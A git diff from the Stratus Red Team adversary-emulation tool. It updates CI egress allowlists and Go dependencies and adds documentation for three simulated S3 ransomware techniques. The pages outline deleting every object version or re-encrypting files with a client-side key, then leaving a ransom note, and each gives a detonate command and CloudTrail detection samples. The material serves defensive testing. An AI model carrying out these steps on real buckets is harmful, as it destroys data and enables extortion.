diff --git a/.github/workflows/docker.yml b/.github/workflows/docker.yml index d5cf98dc..0367c2e3 100644 --- a/.github/workflows/docker.yml +++ b/.github/workflows/docker.yml @@ -20,7 +20,7 @@ jobs: packages: write steps: - name: Harden Runner - uses: step-security/harden-runner@cba0d00b1fc9a034e1e642ea0f1103c282990604 + uses: step-security/harden-runner@8ca2b8b2ece13480cda6dacd3511b49857a23c09 with: egress-policy: block allowed-endpoints: > @@ -34,6 +34,7 @@ jobs: proxy.golang.org:443 registry-1.docker.io:443 storage.googleapis.com:443 + *.actions.githubusercontent.com:443 - name: Checkout uses: actions/checkout@c85c95e3d7251135ab7dc9ce3241c5835cc595a9 diff --git a/.github/workflows/docs.yml b/.github/workflows/docs.yml index 8b3a1465..22fb16dc 100644 --- a/.github/workflows/docs.yml +++ b/.github/workflows/docs.yml @@ -19,13 +19,14 @@ jobs: runs-on: ubuntu-latest steps: - name: Harden Runner - uses: step-security/harden-runner@cba0d00b1fc9a034e1e642ea0f1103c282990604 + uses: step-security/harden-runner@8ca2b8b2ece13480cda6dacd3511b49857a23c09 with: egress-policy: block allowed-endpoints: > files.pythonhosted.org:443 github.com:443 pypi.org:443 + *.actions.githubusercontent.com:443 - uses: actions/checkout@c85c95e3d7251135ab7dc9ce3241c5835cc595a9 - uses: actions/setup-python@61a6322f88396a6271a6ee3565807d608ecaddd1 diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 34096570..b1528010 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -19,7 +19,7 @@ jobs: contents: write steps: - name: Harden Runner - uses: step-security/harden-runner@cba0d00b1fc9a034e1e642ea0f1103c282990604 + uses: step-security/harden-runner@8ca2b8b2ece13480cda6dacd3511b49857a23c09 with: egress-policy: block allowed-endpoints: > @@ -31,6 +31,7 @@ jobs: storage.googleapis.com:443 uploads.github.com:443 sum.golang.org:443 + *.actions.githubusercontent.com:443 - name: Checkout uses: actions/checkout@c85c95e3d7251135ab7dc9ce3241c5835cc595a9 diff --git a/.github/workflows/static-analysis.yml b/.github/workflows/static-analysis.yml index 83906421..da8ec450 100644 --- a/.github/workflows/static-analysis.yml +++ b/.github/workflows/static-analysis.yml @@ -17,7 +17,7 @@ jobs: runs-on: ubuntu-latest steps: - name: Harden Runner - uses: step-security/harden-runner@cba0d00b1fc9a034e1e642ea0f1103c282990604 + uses: step-security/harden-runner@8ca2b8b2ece13480cda6dacd3511b49857a23c09 with: egress-policy: block allowed-endpoints: > @@ -25,6 +25,7 @@ jobs: proxy.golang.org:443 storage.googleapis.com:443 sum.golang.org:443 + *.actions.githubusercontent.com:443 - uses: actions/checkout@c85c95e3d7251135ab7dc9ce3241c5835cc595a9 with: fetch-depth: 1 diff --git a/.github/workflows/terraform-lint.yml b/.github/workflows/terraform-lint.yml index 2484e5d1..79428745 100644 --- a/.github/workflows/terraform-lint.yml +++ b/.github/workflows/terraform-lint.yml @@ -17,7 +17,7 @@ jobs: runs-on: ubuntu-latest steps: - name: Harden Runner - uses: step-security/harden-runner@cba0d00b1fc9a034e1e642ea0f1103c282990604 # tag:v2.5.0 + uses: step-security/harden-runner@8ca2b8b2ece13480cda6dacd3511b49857a23c09 # tag:v2.5.1 with: egress-policy: audit diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index b2ab7431..4ee6844a 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -16,13 +16,14 @@ jobs: runs-on: ubuntu-latest steps: - name: Harden Runner - uses: step-security/harden-runner@cba0d00b1fc9a034e1e642ea0f1103c282990604 + uses: step-security/harden-runner@8ca2b8b2ece13480cda6dacd3511b49857a23c09 with: egress-policy: block allowed-endpoints: github.com:443 proxy.golang.org:443 storage.googleapis.com:443 + *.actions.githubusercontent.com:443 - name: Checkout repository uses: actions/checkout@c85c95e3d7251135ab7dc9ce3241c5835cc595a9 @@ -49,7 +50,7 @@ jobs: proxy.golang.org:443 registry-1.docker.io:443 storage.googleapis.com:443 - + *.actions.githubusercontent.com:443 - name: Checkout repository uses: actions/checkout@c85c95e3d7251135ab7dc9ce3241c5835cc595a9 diff --git a/docs/attack-techniques/AWS/aws.impact.s3-ransomware-batch-deletion.md b/docs/attack-techniques/AWS/aws.impact.s3-ransomware-batch-deletion.md new file mode 100755 index 00000000..005f7558 --- /dev/null +++ b/docs/attack-techniques/AWS/aws.impact.s3-ransomware-batch-deletion.md @@ -0,0 +1,91 @@ +--- +title: S3 Ransomware through batch file deletion +--- + +# S3 Ransomware through batch file deletion + + + + +Platform: AWS + +## MITRE ATT&CK Tactics + + +- Impact + +## Description + + +Simulates S3 ransomware activity that empties a bucket through batch deletion, then uploads a ransom note. + +Warm-up: + +- Create an S3 bucket, with versioning enabled +- Create a number of files in the bucket, with random content and extensions + +Detonation: + +- List all available objects and their versions in the bucket +- Delete all objects in the bucket in one request, using [DeleteObjects](https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteObjects.html) +- Upload a ransom note to the bucket + +Note: The attack does not need to disable versioning, which does not protect against ransomware. This attack removes all versions of the objects in the bucket. + +References: + +- [The anatomy of a ransomware event targeting S3 (re:Inforce, 2022)](https://d1.awsstatic.com/events/aws-reinforce-2022/TDR431_The-anatomy-of-a-ransomware-event-targeting-data-residing-in-Amazon-S3.pdf) +- [The anatomy of ransomware event targeting data residing in Amazon S3 (AWS Security Blog)](https://aws.amazon.com/blogs/security/anatomy-of-a-ransomware-event-targeting-data-in-amazon-s3/) +- [Ransomware in the cloud](https://invictus-ir.medium.com/ransomware-in-the-cloud-7f14805bbe82) +- https://www.firemon.com/what-you-need-to-know-about-ransomware-in-aws/ +- https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/ + + +## Instructions + +```bash title="Detonate with Stratus Red Team" +stratus detonate aws.impact.s3-ransomware-batch-deletion +``` +## Detection + + +You can detect ransomware activity by identifying abnormal patterns of objects being downloaded or deleted in the bucket. +In general, this can be done through [CloudTrail S3 data events](https://docs.aws.amazon.com/AmazonS3/latest/userguide/cloudtrail-logging-s3-info.html#cloudtrail-object-level-tracking) (DeleteObject, DeleteObjects, GetObject), +[CloudWatch metrics](https://docs.aws.amazon.com/AmazonS3/latest/userguide/metrics-dimensions.html#s3-request-cloudwatch-metrics) (NumberOfObjects), +or [GuardDuty findings](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) ([Exfiltration:S3/AnomalousBehavior](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html#exfiltration-s3-anomalousbehavior), [Impact:S3/AnomalousBehavior.Delete](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html#impact-s3-anomalousbehavior-delete)). + +Sample DeleteObjects event, shortened for readability: + +```json hl_lines="3 8" +{ + "eventSource": "s3.amazonaws.com", + "eventName": "DeleteObjects", + "eventCategory": "Data" + "managementEvent": false, + "readOnly": false + "requestParameters": { + "bucketName": "target-bucket", + "Host": "target-bucket.s3.us-east-1.amazonaws.com", + "delete": "", + "x-id": "DeleteObjects" + }, + "responseElements": null, + "resources": [ + { + "type": "AWS::S3::Object", + "ARNPrefix": "arn:aws:s3:::target-bucket/" + }, + { + "accountId": "012345678901", + "type": "AWS::S3::Bucket", + "ARN": "arn:aws:s3:::target-bucket" + } + ], + "eventType": "AwsApiCall", + "recipientAccountId": "012345678901" +} +``` + +Note that DeleteObjects does not indicate the list of files deleted, or how many files were removed (which can be up to 1'000 files per call).' + + diff --git a/docs/attack-techniques/AWS/aws.impact.s3-ransomware-client-side-encryption.md b/docs/attack-techniques/AWS/aws.impact.s3-ransomware-client-side-encryption.md new file mode 100755 index 00000000..998bcd69 --- /dev/null +++ b/docs/attack-techniques/AWS/aws.impact.s3-ransomware-client-side-encryption.md @@ -0,0 +1,86 @@ +--- +title: S3 Ransomware through client-side encryption +--- + +# S3 Ransomware through client-side encryption + + + + +Platform: AWS + +## MITRE ATT&CK Tactics + + +- Impact + +## Description + + +Simulates S3 ransomware activity that encrypts files in a bucket with a static key, through S3 [client-side encryption](https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingClientSideEncryption.html) feature. +Warm-up: + +- Create an S3 bucket +- Create a number of files in the bucket, with random content and extensions + +Detonation: + +- List all objects in the bucket +- Overwrite every file in the bucket with an encrypted version, using [S3 client-side encryption](https://docs.aws.amazon.com/AmazonS3/latest/userguide/UsingClientSideEncryption.html) +- Upload a ransom note to the bucket + +References: + +- https://www.firemon.com/what-you-need-to-know-about-ransomware-in-aws/ +- https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/ + + +## Instructions + +```bash title="Detonate with Stratus Red Team" +stratus detonate aws.impact.s3-ransomware-client-side-encryption +``` +## Detection + + +You can detect ransomware activity by identifying abnormal patterns of objects being downloaded or deleted in the bucket. +In general, this can be done through [CloudTrail S3 data events](https://docs.aws.amazon.com/AmazonS3/latest/userguide/cloudtrail-logging-s3-info.html#cloudtrail-object-level-tracking) (DeleteObject, DeleteObjects, GetObject, CopyObject), +[CloudWatch metrics](https://docs.aws.amazon.com/AmazonS3/latest/userguide/metrics-dimensions.html#s3-request-cloudwatch-metrics) (NumberOfObjects), +or [GuardDuty findings](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) ([Exfiltration:S3/AnomalousBehavior](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html#exfiltration-s3-anomalousbehavior), [Impact:S3/AnomalousBehavior.Delete](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html#impact-s3-anomalousbehavior-delete)). + +Sample CloudTrail event CopyObject, when a file is encrypted with a client-side key: + +```json hl_lines="3 9 11 12" +{ + "eventSource": "s3.amazonaws.com", + "eventName": "CopyObject", + "eventType": "AwsApiCall", + "eventCategory": "Data", + "managementEvent": false, + "readOnly": false, + "requestParameters": { + "bucketName": "target bucket", + "Host": "target bucket.s3.us-east-1.amazonaws.com", + "x-amz-server-side-encryption-customer-algorithm": "AES256", + "x-amz-copy-source": "target bucket/target file.txt", + "key": "target file.txt", + "x-id": "CopyObject" + }, + "responseElements": { + "x-amz-server-side-encryption-customer-algorithm": "AES256" + }, + "resources": [ + { + "type": "AWS::S3::Object", + "ARN": "arn:aws:s3:::target bucket/target file.txt" + }, + { + "accountId": "012345678901", + "type": "AWS::S3::Bucket", + "ARN": "arn:aws:s3:::target bucket" + } + ] +} +``` + + diff --git a/docs/attack-techniques/AWS/aws.impact.s3-ransomware-individual-deletion.md b/docs/attack-techniques/AWS/aws.impact.s3-ransomware-individual-deletion.md new file mode 100755 index 00000000..b70ca231 --- /dev/null +++ b/docs/attack-techniques/AWS/aws.impact.s3-ransomware-individual-deletion.md @@ -0,0 +1,88 @@ +--- +title: S3 Ransomware through individual file deletion +--- + +# S3 Ransomware through individual file deletion + + + + +Platform: AWS + +## MITRE ATT&CK Tactics + + +- Impact + +## Description + + +Simulates S3 ransomware activity that empties a bucket through individual file deletion, then uploads a ransom note. + +Warm-up: + +- Create an S3 bucket, with versioning enabled +- Create a number of files in the bucket, with random content and extensions + +Detonation: + +- List all available objects and their versions in the bucket +- Delete all objects in the bucket one by one, using [DeleteObject](https://docs.aws.amazon.com/AmazonS3/latest/API/API_DeleteObject.html) +- Upload a ransom note to the bucket + +Note: The attack does not need to disable versioning, which does not protect against ransomware. This attack removes all versions of the objects in the bucket. + +References: + +- [The anatomy of a ransomware event targeting S3 (re:Inforce, 2022)](https://d1.awsstatic.com/events/aws-reinforce-2022/TDR431_The-anatomy-of-a-ransomware-event-targeting-data-residing-in-Amazon-S3.pdf) +- [The anatomy of ransomware event targeting data residing in Amazon S3 (AWS Security Blog)](https://aws.amazon.com/blogs/security/anatomy-of-a-ransomware-event-targeting-data-in-amazon-s3/) +- [Ransomware in the cloud](https://invictus-ir.medium.com/ransomware-in-the-cloud-7f14805bbe82) +- https://www.firemon.com/what-you-need-to-know-about-ransomware-in-aws/ +- https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/ + + +## Instructions + +```bash title="Detonate with Stratus Red Team" +stratus detonate aws.impact.s3-ransomware-individual-deletion +``` +## Detection + + +You can detect ransomware activity by identifying abnormal patterns of objects being downloaded or deleted in the bucket. +In general, this can be done through [CloudTrail S3 data events](https://docs.aws.amazon.com/AmazonS3/latest/userguide/cloudtrail-logging-s3-info.html#cloudtrail-object-level-tracking) (DeleteObject, DeleteObjects, GetObject), +[CloudWatch metrics](https://docs.aws.amazon.com/AmazonS3/latest/userguide/metrics-dimensions.html#s3-request-cloudwatch-metrics) (NumberOfObjects), +or [GuardDuty findings](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) ([Exfiltration:S3/AnomalousBehavior](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html#exfiltration-s3-anomalousbehavior), [Impact:S3/AnomalousBehavior.Delete](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-s3.html#impact-s3-anomalousbehavior-delete)). + +Sample CloudTrail event DeleteObject, shortened for readability: + +```json hl_lines="3 8 10" +{ + "eventSource": "s3.amazonaws.com", + "eventName": "DeleteObject", + "eventCategory": "Data", + "managementEvent": false, + "readOnly": false, + "requestParameters": { + "bucketName": "target-bucket", + "Host": "target-bucket.s3.us-east-1.amazonaws.com", + "key": "target-object-key", + "x-id": "DeleteObject" + }, + "resources": [ + { + "type": "AWS::S3::Object", + "ARN": "arn:aws:s3:::target-bucket/target-object-key" + }, + { + "accountId": "012345678901", + "type": "AWS::S3::Bucket", + "ARN": "arn:aws:s3:::target-bucket" + } + ], + "eventType": "AwsApiCall", + "recipientAccountId": "012345678901" +} +``` + + diff --git a/docs/attack-techniques/AWS/aws.persistence.rolesanywhere-create-trust-anchor.md b/docs/attack-techniques/AWS/aws.persistence.rolesanywhere-create-trust-anchor.md old mode 100644 new mode 100755 diff --git a/docs/attack-techniques/AWS/index.md b/docs/attack-techniques/AWS/index.md index 0f6f8c38..5bad5e80 100755 --- a/docs/attack-techniques/AWS/index.md +++ b/docs/attack-techniques/AWS/index.md @@ -57,6 +57,15 @@ Note that some Stratus attack techniques may correspond to more than a single AT - [Backdoor an S3 Bucket via its Bucket Policy](./aws.exfiltration.s3-backdoor-bucket-policy.md) +## Impact + +- [S3 Ransomware through batch file deletion](./aws.impact.s3-ransomware-batch-deletion.md) + +- [S3 Ransomware through client-side encryption](./aws.impact.s3-ransomware-client-side-encryption.md) + +- [S3 Ransomware through individual file deletion](./aws.impact.s3-ransomware-individual-deletion.md) + + ## Initial Access - [Console Login without MFA](./aws.initial-access.console-login-without-mfa.md) diff --git a/docs/attack-techniques/list.md b/docs/attack-techniques/list.md index bcc9ee86..c626a841 100755 --- a/docs/attack-techniques/list.md +++ b/docs/attack-techniques/list.md @@ -28,6 +28,9 @@ This page contains the list of all Stratus Attack Techniques. | [Exfiltrate EBS Snapshot by Sharing It](./AWS/aws.exfiltration.ec2-share-ebs-snapshot.md) | [AWS](./AWS/index.md) | Exfiltration | | [Exfiltrate RDS Snapshot by Sharing](./AWS/aws.exfiltration.rds-share-snapshot.md) | [AWS](./AWS/index.md) | Exfiltration | | [Backdoor an S3 Bucket via its Bucket Policy](./AWS/aws.exfiltration.s3-backdoor-bucket-policy.md) | [AWS](./AWS/index.md) | Exfiltration | +| [S3 Ransomware through batch file deletion](./AWS/aws.impact.s3-ransomware-batch-deletion.md) | [AWS](./AWS/index.md) | Impact | +| [S3 Ransomware through client-side encryption](./AWS/aws.impact.s3-ransomware-client-side-encryption.md) | [AWS](./AWS/index.md) | Impact | +| [S3 Ransomware through individual file deletion](./AWS/aws.impact.s3-ransomware-individual-deletion.md) | [AWS](./AWS/index.md) | Impact | | [Console Login without MFA](./AWS/aws.initial-access.console-login-without-mfa.md) | [AWS](./AWS/index.md) | Initial Access | | [Backdoor an IAM Role](./AWS/aws.persistence.iam-backdoor-role.md) | [AWS](./AWS/index.md) | Persistence | | [Create an Access Key on an IAM User](./AWS/aws.persistence.iam-backdoor-user.md) | [AWS](./AWS/index.md) | Persistence, Privilege Escalation | diff --git a/docs/index.yaml b/docs/index.yaml index cff07617..9177f1bd 100644 --- a/docs/index.yaml +++ b/docs/index.yaml @@ -138,6 +138,28 @@ AWS: - Exfiltration platform: AWS isIdempotent: true + Impact: + - id: aws.impact.s3-ransomware-batch-deletion + name: S3 Ransomware through batch file deletion + isSlow: false + mitreAttackTactics: + - Impact + platform: AWS + isIdempotent: false + - id: aws.impact.s3-ransomware-client-side-encryption + name: S3 Ransomware through client-side encryption + isSlow: false + mitreAttackTactics: + - Impact + platform: AWS + isIdempotent: false + - id: aws.impact.s3-ransomware-individual-deletion + name: S3 Ransomware through individual file deletion + isSlow: false + mitreAttackTactics: + - Impact + platform: AWS + isIdempotent: false Initial Access: - id: aws.initial-access.console-login-without-mfa name: Console Login without MFA diff --git a/v2/go.mod b/v2/go.mod index cf734de2..29b523c7 100644 --- a/v2/go.mod +++ b/v2/go.mod @@ -3,13 +3,15 @@ module github.com/datadog/stratus-red-team/v2 go 1.18 require ( + cloud.google.com/go/compute v1.10.0 github.com/Azure/azure-sdk-for-go/sdk/azcore v1.1.4 github.com/Azure/azure-sdk-for-go/sdk/azidentity v1.1.0 github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/compute/armcompute v1.0.0 github.com/Azure/azure-sdk-for-go/sdk/resourcemanager/resources/armresources v1.0.0 - github.com/aws/aws-sdk-go-v2 v1.17.0 - github.com/aws/aws-sdk-go-v2/config v1.17.8 - github.com/aws/aws-sdk-go-v2/credentials v1.12.21 + github.com/aws/aws-sdk-go-v2 v1.21.0 + github.com/aws/aws-sdk-go-v2/config v1.18.37 + github.com/aws/aws-sdk-go-v2/credentials v1.13.35 + github.com/aws/aws-sdk-go-v2/feature/s3/manager v1.11.81 github.com/aws/aws-sdk-go-v2/service/cloudtrail v1.19.1 github.com/aws/aws-sdk-go-v2/service/ec2 v1.63.1 github.com/aws/aws-sdk-go-v2/service/iam v1.18.20 @@ -17,11 +19,11 @@ require ( github.com/aws/aws-sdk-go-v2/service/organizations v1.16.13 github.com/aws/aws-sdk-go-v2/service/rds v1.26.1 github.com/aws/aws-sdk-go-v2/service/rolesanywhere v1.0.10 - github.com/aws/aws-sdk-go-v2/service/s3 v1.27.11 + github.com/aws/aws-sdk-go-v2/service/s3 v1.38.5 github.com/aws/aws-sdk-go-v2/service/secretsmanager v1.16.3 github.com/aws/aws-sdk-go-v2/service/ssm v1.31.0 - github.com/aws/aws-sdk-go-v2/service/sts v1.16.19 - github.com/aws/smithy-go v1.13.3 + github.com/aws/aws-sdk-go-v2/service/sts v1.21.5 + github.com/aws/smithy-go v1.14.2 github.com/cenkalti/backoff/v4 v4.2.1 github.com/fatih/color v1.13.0 github.com/golang-jwt/jwt v3.2.2+incompatible @@ -30,6 +32,7 @@ require ( github.com/jedib0t/go-pretty/v6 v6.4.0 github.com/spf13/cobra v1.6.0 github.com/stretchr/testify v1.8.0 + google.golang.org/genproto v0.0.0-20221010155953-15ba04fc1c0e gopkg.in/yaml.v3 v3.0.1 k8s.io/api v0.25.3 k8s.io/apimachinery v0.25.3 @@ -37,24 +40,23 @@ require ( ) require ( - cloud.google.com/go/compute v1.10.0 // indirect github.com/Azure/azure-sdk-for-go/sdk/internal v1.0.0 // indirect github.com/AzureAD/microsoft-authentication-library-for-go v0.5.1 // indirect github.com/Microsoft/go-winio v0.5.0 // indirect github.com/PuerkitoBio/purell v1.1.1 // indirect github.com/PuerkitoBio/urlesc v0.0.0-20170810143723-de5bf2ad4578 // indirect - github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.8 // indirect - github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.12.17 // indirect - github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.24 // indirect - github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.18 // indirect - github.com/aws/aws-sdk-go-v2/internal/ini v1.3.24 // indirect - github.com/aws/aws-sdk-go-v2/internal/v4a v1.0.14 // indirect - github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.9.9 // indirect - github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.1.18 // indirect - github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.17 // indirect - github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.13.17 // indirect - github.com/aws/aws-sdk-go-v2/service/sso v1.11.23 // indirect - github.com/aws/aws-sdk-go-v2/service/ssooidc v1.13.6 // indirect + github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.13 // indirect + github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.13.11 // indirect + github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.41 // indirect + github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.35 // indirect + github.com/aws/aws-sdk-go-v2/internal/ini v1.3.42 // indirect + github.com/aws/aws-sdk-go-v2/internal/v4a v1.1.4 // indirect + github.com/aws/aws-sdk-go-v2/service/internal/accept-encoding v1.9.14 // indirect + github.com/aws/aws-sdk-go-v2/service/internal/checksum v1.1.36 // indirect + github.com/aws/aws-sdk-go-v2/service/internal/presigned-url v1.9.35 // indirect + github.com/aws/aws-sdk-go-v2/service/internal/s3shared v1.15.4 // indirect + github.com/aws/aws-sdk-go-v2/service/sso v1.13.5 // indirect + github.com/aws/aws-sdk-go-v2/service/ssooidc v1.15.5 // indirect github.com/davecgh/go-spew v1.1.1 // indirect github.com/emicklei/go-restful/v3 v3.8.0 // indirect github.com/go-logr/logr v1.2.3 // indirect @@ -92,7 +94,6 @@ require ( golang.org/x/term v0.5.0 // indirect golang.org/x/time v0.0.0-20220210224613-90d013bbcef8 // indirect google.golang.org/appengine v1.6.7 // indirect - google.golang.org/genproto v0.0.0-20221010155953-15ba04fc1c0e // indirect google.golang.org/protobuf v1.28.1 // indirect gopkg.in/inf.v0 v0.9.1 // indirect gopkg.in/yaml.v2 v2.4.0 // indirect diff --git a/v2/go.sum b/v2/go.sum index 23531027..ee5d5550 100644 --- a/v2/go.sum +++ b/v2/go.sum @@ -1,4 +1,5 @@ cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= +cloud.google.com/go v0.102.1 h1:vpK6iQWv/2uUeFJth4/cBHsQAGjn1iIE6AAlxipRaA0= cloud.google.com/go/compute v1.10.0 h1:aoLIYaA1fX3ywihqpBk2APQKOo20nXsp1GEZQbx5Jk4= cloud.google.com/go/compute v1.10.0/go.mod h1:ER5CLbMxl90o2jtNbGSbtfOpQKR0t15FOtRsugnLrlU= github.com/Azure/azure-sdk-for-go/sdk/azcore v1.1.4 h1:pqrAR74b6EoR4kcxF7L7Wg2B8Jgil9UUZtMvxhEFqWo= @@ -34,40 +35,46 @@ github.com/apparentlymart/go-textseg/v13 v13.0.0/go.mod h1:ZK2fH7c4NqDTLtiYLvIkE github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio= github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs= github.com/aws/aws-sdk-go-v2 v1.16.16/go.mod h1:SwiyXi/1zTUZ6KIAmLK5V5ll8SiURNUYOqTerZPaF9k= -github.com/aws/aws-sdk-go-v2 v1.17.0 h1:kWm8OZGx0Zvd6PsOfjFtwbw7+uWYp65DK8suo7WVznw= github.com/aws/aws-sdk-go-v2 v1.17.0/go.mod h1:SwiyXi/1zTUZ6KIAmLK5V5ll8SiURNUYOqTerZPaF9k= -github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.8 h1:tcFliCWne+zOuUfKNRn8JdFBuWPDuISDH08wD2ULkhk= -github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.8/go.mod h1:JTnlBSot91steJeti4ryyu/tLd4Sk84O5W22L7O2EQU= -github.com/aws/aws-sdk-go-v2/config v1.17.8 h1:b9LGqNnOdg9vR4Q43tBTVWk4J6F+W774MSchvKJsqnE= -github.com/aws/aws-sdk-go-v2/config v1.17.8/go.mod h1:UkCI3kb0sCdvtjiXYiU4Zx5h07BOpgBTtkPu/49r+kA= -github.com/aws/aws-sdk-go-v2/credentials v1.12.21 h1:4tjlyCD0hRGNQivh5dN8hbP30qQhMLBE/FgQR1vHHWM= -github.com/aws/aws-sdk-go-v2/credentials v1.12.21/go.mod h1:O+4XyAt4e+oBAoIwNUYkRg3CVMscaIJdmZBOcPgJ8D8= -github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.12.17 h1:r08j4sbZu/RVi+BNxkBJwPMUYY3P8mgSDuKkZ/ZN1lE= -github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.12.17/go.mod h1:yIkQcCDYNsZfXpd5UX2Cy+sWA1jPgIhGTw9cOBzfVnQ= +github.com/aws/aws-sdk-go-v2 v1.21.0 h1:gMT0IW+03wtYJhRqTVYn0wLzwdnK9sRMcxmtfGzRdJc= +github.com/aws/aws-sdk-go-v2 v1.21.0/go.mod h1:/RfNgGmRxI+iFOB1OeJUyxiU+9s88k3pfHvDagGEp0M= +github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.13 h1:OPLEkmhXf6xFPiz0bLeDArZIDx1NNS4oJyG4nv3Gct0= +github.com/aws/aws-sdk-go-v2/aws/protocol/eventstream v1.4.13/go.mod h1:gpAbvyDGQFozTEmlTFO8XcQKHzubdq0LzRyJpG6MiXM= +github.com/aws/aws-sdk-go-v2/config v1.18.37 h1:RNAfbPqw1CstCooHaTPhScz7z1PyocQj0UL+l95CgzI= +github.com/aws/aws-sdk-go-v2/config v1.18.37/go.mod h1:8AnEFxW9/XGKCbjYDCJy7iltVNyEI9Iu9qC21UzhhgQ= +github.com/aws/aws-sdk-go-v2/credentials v1.13.35 h1:QpsNitYJu0GgvMBLUIYu9H4yryA5kMksjeIVQfgXrt8= +github.com/aws/aws-sdk-go-v2/credentials v1.13.35/go.mod h1:o7rCaLtvK0hUggAGclf76mNGGkaG5a9KWlp+d9IpcV8= +github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.13.11 h1:uDZJF1hu0EVT/4bogChk8DyjSF6fof6uL/0Y26Ma7Fg= +github.com/aws/aws-sdk-go-v2/feature/ec2/imds v1.13.11/go.mod h1:TEPP4tENqBGO99KwVpV9MlOX4NSrSLP8u3KRy2CDwA8= +github.com/aws/aws-sdk-go-v2/feature/s3/manager v1.11.81 h1:PQ9zoe2GEoTVSVPuNtjNrKeVPvyVPWesETMPb7KB3Fk= +github.com/aws/aws-sdk-go-v2/feature/s3/manager v1.11.81/go.mod h1:EztVLIU9xGitjdZ1TyHWL9IcNx4952FlqKJe6GLG2z4= github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.23/go.mod h1:2DFxAQ9pfIRy0imBCJv+vZ2X6RKxves6fbnEuSry6b4= -github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.24 h1:WFIoN2kiF95/4z4HNcJ9F9B0xFV0vrPlUOf3+uNIujM= github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.24/go.mod h1:ghMzB/j2wRbPx5/4jPYxJdOtCG2ggrtY01j8K7FMBDA= +github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.41 h1:22dGT7PneFMx4+b3pz7lMTRyN8ZKH7M2cW4GP9yUS2g= +github.com/aws/aws-sdk-go-v2/internal/configsources v1.1.41/go.mod h1:CrObHAuPneJBlfEJ5T3szXOUkLEThaGfvnhTf33buas= github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.17/go.mod h1:pRwaTYCJemADaqCbUAxltMoHKata7hmB5PjEXeu0kfg= -github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.18 h1:c2RKF0UvfdVI6epHtFjDujlbiK+VeY85dP1i4gmYc5w= github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.18/go.mod h1:fkQKYK/jUhCL/wNS1tOPrlYhr9vqutjCz4zZC1wBE1s= -github.com/aws/aws-sdk-go-v2/internal/ini v1.3.24 h1:wj5Rwc05hvUSvKuOF29IYb9QrCLjU+rHAy/x/o0DK2c= -github.com/aws/aws-sdk-go-v2/internal/ini v1.3.24/go.mod h1:jULHjqqjDlbyTa7pfM7WICATnOv+iOhjletM3N0Xbu8= -github.com/aws/aws-sdk-go-v2/internal/v4a v1.0.14 h1:ZSIPAkAsCCjYrhqfw2+lNzWDzxzHXEckFkTePL5RSWQ= -github.com/aws/aws-sdk-go-v2/internal/v4a v1.0.14/go.mod h1:AyGgqiKv9ECM6IZeNQtdT8NnMvUb3/2wokeq2Fgryto= +github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.35 h1:SijA0mgjV8E+8G45ltVHs0fvKpTj8xmZJ3VwhGKtUSI= +github.com/aws/aws-sdk-go-v2/internal/endpoints/v2 v2.4.35/go.mod h1:SJC1nEVVva1g3pHAIdCp7QsRIkMmLAgoDquQ9Rr8kYw= +github.com/aws/aws-sdk-go-v2/internal/ini v1.3.42 h1:GPUcE/Yq7Ur8YSUk6lVkoIMWnJNO0HT18GUzCWCgCI0= +github.com/aws/aws-sdk-go-v2/internal/ini v1.3.42/go.mod h1:rzfdUlfA+jdgLDmPKjd3Chq9V7LVLYo1Nz++Wb91aRo= +github.com/aws/aws-sdk-go-v2/internal/v4a v1.1.4 h1:6lJvvkQ9HmbHZ4h/IEwclwv2mrTW8Uq1SOB/kXy0mfw= +github.com/aws/aws-sdk-go-v2/internal/v4a 